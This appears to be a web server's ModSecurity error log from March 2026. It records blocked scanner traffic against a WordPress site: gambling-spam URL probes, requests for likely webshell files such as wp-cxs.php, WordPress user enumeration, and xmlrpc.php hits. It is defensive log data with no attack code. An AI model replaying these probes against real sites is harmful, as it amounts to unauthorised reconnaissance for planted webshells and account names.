[Thu Mar 26 07:54:53.390351 2026] [:error] [pid 60829:tid 60854] [client 54.37.252.119:35722] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acR1zfTdjHKeZokybaQ0-AAAARc"]
[Thu Mar 26 07:54:55.898889 2026] [:error] [pid 60829:tid 60831] [client 54.37.252.119:35728] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acR1z_TdjHKeZokybaQ1BAAAAQA"]
[Thu Mar 26 07:54:58.463604 2026] [:error] [pid 31670:tid 31689] [client 54.37.252.119:60140] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acR10jXVthXxCnWjOTRHfwAAAVE"]
[Thu Mar 26 07:55:01.084634 2026] [:error] [pid 31670:tid 31685] [client 54.37.252.119:60150] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acR11TXVthXxCnWjOTRHggAAAU0"]
[Thu Mar 26 07:55:03.553593 2026] [:error] [pid 19712:tid 19785] [client 54.37.252.119:60152] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "acR119WhKhRNqm23vFPidQAAAIk"]
[Thu Mar 26 07:55:06.040208 2026] [:error] [pid 31778:tid 31797] [client 54.37.252.119:60154] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acR12g3kybI2o-xasmBIsAAAAcQ"]
[Thu Mar 26 07:55:08.444461 2026] [:error] [pid 31670:tid 31678] [client 54.37.252.119:55912] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acR13DXVthXxCnWjOTRHlwAAAUY"]
[Thu Mar 26 07:55:11.107921 2026] [:error] [pid 19711:tid 19765] [client 54.37.252.119:55916] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "acR132j3l1y81GYfluROZQAAAFA"]
[Thu Mar 26 07:55:58.987736 2026] [proxy_fcgi:error] [pid 31778:tid 31793] [client 54.37.252.119:55928] AH01071: Got error 'PHP message: PHP Warning:  mysqli_query(): (HY000/2006): MySQL server has gone away in /home/vetstars/public_html/wp-includes/class-wpdb.php on line 2357'
[Thu Mar 26 07:56:09.116213 2026] [:error] [pid 31778:tid 31804] [client 54.37.252.119:55928] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acR2GQ3kybI2o-xasmBJLwAAAcs"]
[Thu Mar 26 07:56:11.535323 2026] [:error] [pid 19818:tid 19830] [client 54.37.252.119:35002] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acR2G8zaSnm3d1BeM5WUVwAAAMo"]
[Thu Mar 26 07:56:14.102985 2026] [:error] [pid 31778:tid 31817] [client 54.37.252.119:35004] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "acR2Hg3kybI2o-xasmBJMwAAAdg"]
[Thu Mar 26 07:56:16.811324 2026] [:error] [pid 19711:tid 19773] [client 54.37.252.119:55726] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acR2IGj3l1y81GYfluROfgAAAFg"]
[Thu Mar 26 07:56:19.263409 2026] [:error] [pid 31670:tid 31690] [client 54.37.252.119:55740] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acR2IzXVthXxCnWjOTRIKwAAAVI"]
[Thu Mar 26 07:56:21.911453 2026] [:error] [pid 31778:tid 31806] [client 54.37.252.119:55756] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "acR2JQ3kybI2o-xasmBJOAAAAc0"]
[Thu Mar 26 07:56:24.336785 2026] [:error] [pid 19711:tid 19754] [client 54.37.252.119:55766] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acR2KGj3l1y81GYfluROgAAAAEU"]
[Thu Mar 26 07:56:26.818634 2026] [:error] [pid 60829:tid 60833] [client 54.37.252.119:37872] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acR2KvTdjHKeZokybaQ1PQAAAQI"]
[Thu Mar 26 07:56:29.254172 2026] [:error] [pid 31670:tid 31676] [client 54.37.252.119:37880] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acR2LTXVthXxCnWjOTRIOQAAAUQ"]
[Thu Mar 26 07:56:31.630164 2026] [:error] [pid 19710:tid 19734] [client 54.37.252.119:37894] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acR2LwVEWP8Ar68Njk6ucwAAAAw"]
[Thu Mar 26 07:56:34.076622 2026] [:error] [pid 31778:tid 31810] [client 54.37.252.119:37896] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acR2Mg3kybI2o-xasmBJPAAAAdE"]
[Thu Mar 26 07:56:36.515944 2026] [:error] [pid 31670:tid 31694] [client 54.37.252.119:37906] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acR2NDXVthXxCnWjOTRIRAAAAVY"]
[Thu Mar 26 07:56:38.848467 2026] [:error] [pid 31717:tid 31743] [client 54.37.252.119:43374] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acR2Nr-SCF7YDISDX494KwAAAZU"]
[Thu Mar 26 07:56:41.318538 2026] [:error] [pid 31670:tid 31674] [client 54.37.252.119:43376] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acR2OTXVthXxCnWjOTRIRQAAAUI"]
[Thu Mar 26 07:56:43.618511 2026] [:error] [pid 31778:tid 31803] [client 54.37.252.119:43390] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acR2Ow3kybI2o-xasmBJTQAAAco"]
[Thu Mar 26 07:56:46.181136 2026] [:error] [pid 31778:tid 31801] [client 54.37.252.119:43398] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acR2Pg3kybI2o-xasmBJbgAAAcg"]
[Thu Mar 26 07:56:48.577343 2026] [:error] [pid 31780:tid 31842] [client 54.37.252.119:46452] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acR2QJJDwZsy5O4ZXEi0OQAAAhU"]
[Thu Mar 26 07:56:51.054583 2026] [:error] [pid 60829:tid 60849] [client 54.37.252.119:46460] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acR2Q_TdjHKeZokybaQ1lwAAARI"]
[Thu Mar 26 07:56:53.559629 2026] [:error] [pid 31670:tid 31693] [client 54.37.252.119:46474] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acR2RTXVthXxCnWjOTRIYQAAAVU"]
[Thu Mar 26 07:56:56.009005 2026] [:error] [pid 31780:tid 31822] [client 54.37.252.119:46486] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "acR2SJJDwZsy5O4ZXEi0QwAAAgI"]
[Thu Mar 26 07:56:58.584860 2026] [:error] [pid 31717:tid 31726] [client 54.37.252.119:44262] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acR2Sr-SCF7YDISDX494YAAAAYQ"]
[Thu Mar 26 07:57:01.071940 2026] [:error] [pid 31780:tid 31834] [client 54.37.252.119:44278] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acR2TZJDwZsy5O4ZXEi0UQAAAg0"]
[Thu Mar 26 07:57:03.492989 2026] [:error] [pid 31780:tid 31831] [client 54.37.252.119:44294] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acR2T5JDwZsy5O4ZXEi0VgAAAgo"]
[Thu Mar 26 07:57:58.599738 2026] [:error] [pid 19712:tid 19791] [client 54.37.252.119:49550] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acR2htWhKhRNqm23vFPijwAAAI8"]
[Thu Mar 26 07:58:00.922323 2026] [:error] [pid 31780:tid 31837] [client 54.37.252.119:46502] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acR2iJJDwZsy5O4ZXEi0xwAAAhA"]
[Thu Mar 26 07:58:03.282303 2026] [:error] [pid 60829:tid 60843] [client 54.37.252.119:46506] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acR2i_TdjHKeZokybaQ1vgAAAQw"]
[Thu Mar 26 07:58:05.759669 2026] [:error] [pid 31717:tid 31746] [client 54.37.252.119:46522] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acR2jb-SCF7YDISDX494kgAAAZg"]
[Thu Mar 26 07:58:08.224309 2026] [:error] [pid 31780:tid 31834] [client 54.37.252.119:34614] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acR2kJJDwZsy5O4ZXEi0zwAAAg0"]
[Thu Mar 26 07:58:10.603906 2026] [:error] [pid 60829:tid 60842] [client 54.37.252.119:34626] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acR2kvTdjHKeZokybaQ1wwAAAQs"]
[Thu Mar 26 07:58:13.159226 2026] [:error] [pid 60829:tid 60850] [client 54.37.252.119:34636] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acR2lfTdjHKeZokybaQ1xQAAARM"]
[Thu Mar 26 07:58:15.707223 2026] [:error] [pid 31670:tid 31679] [client 54.37.252.119:34646] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "acR2lzXVthXxCnWjOTRIqQAAAUc"]
[Thu Mar 26 07:58:18.048036 2026] [:error] [pid 31780:tid 31843] [client 54.37.252.119:53088] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "acR2mpJDwZsy5O4ZXEi03AAAAhY"]
[Thu Mar 26 10:03:54.507908 2026] [:error] [pid 31670:tid 31688] [client 182.42.105.144:47239] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acSUCjXVthXxCnWjOTSNRgAAAVA"]
[Thu Mar 26 10:46:07.834864 2026] [autoindex:error] [pid 31670:tid 31678] [client 141.98.11.17:61153] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Mar 26 11:00:41.949401 2026] [:error] [pid 31780:tid 31833] [client 103.117.180.206:42006] [client 103.117.180.206] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "acShWZJDwZsy5O4ZXEj93AAAAgw"]
[Thu Mar 26 11:04:36.417750 2026] [:error] [pid 19818:tid 19843] [client 43.157.188.74:34100] [client 43.157.188.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acSiRMzaSnm3d1BeM5XvvgAAANc"]
[Thu Mar 26 11:26:10.857037 2026] [:error] [pid 60829:tid 60834] [client 185.223.152.25:47907] [client 185.223.152.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.223.152.25, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acSnUvTdjHKeZokybaRlgAAAAQM"], referer: https://vetstars.com.au/
[Thu Mar 26 14:43:26.122765 2026] [:error] [pid 19818:tid 19842] [client 20.199.101.134:27765] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "acTVjszaSnm3d1BeM5V_-AAAANY"]
[Thu Mar 26 14:43:27.142348 2026] [:error] [pid 31717:tid 31726] [client 20.199.101.134:46849] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "acTVj7-SCF7YDISDX4-7TAAAAYQ"]
[Thu Mar 26 14:43:27.888210 2026] [:error] [pid 31778:tid 31805] [client 20.199.101.134:20238] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "acTVjw3kybI2o-xasmC9LAAAAcw"]
[Thu Mar 26 14:43:28.912714 2026] [:error] [pid 31780:tid 31833] [client 20.199.101.134:58554] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "acTVkJJDwZsy5O4ZXEhKpgAAAgw"]
[Thu Mar 26 14:43:29.651968 2026] [:error] [pid 31780:tid 31836] [client 20.199.101.134:62076] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cxs.php"] [unique_id "acTVkZJDwZsy5O4ZXEhKtwAAAg8"]
[Thu Mar 26 14:43:30.274749 2026] [:error] [pid 31670:tid 31690] [client 20.199.101.134:24160] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cxs.php"] [unique_id "acTVkjXVthXxCnWjOTQPVwAAAVI"]
[Thu Mar 26 14:43:31.783513 2026] [:error] [pid 19818:tid 19842] [client 20.199.101.134:7223] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cxs.php"] [unique_id "acTVk8zaSnm3d1BeM5WACgAAANY"]
[Thu Mar 26 14:43:32.780523 2026] [:error] [pid 60829:tid 60847] [client 20.199.101.134:26007] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cxs.php"] [unique_id "acTVlPTdjHKeZokybaSLxAAAARA"]
[Thu Mar 26 14:43:34.311184 2026] [:error] [pid 31780:tid 31837] [client 20.199.101.134:7177] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acTVlpJDwZsy5O4ZXEhKwQAAAhA"]
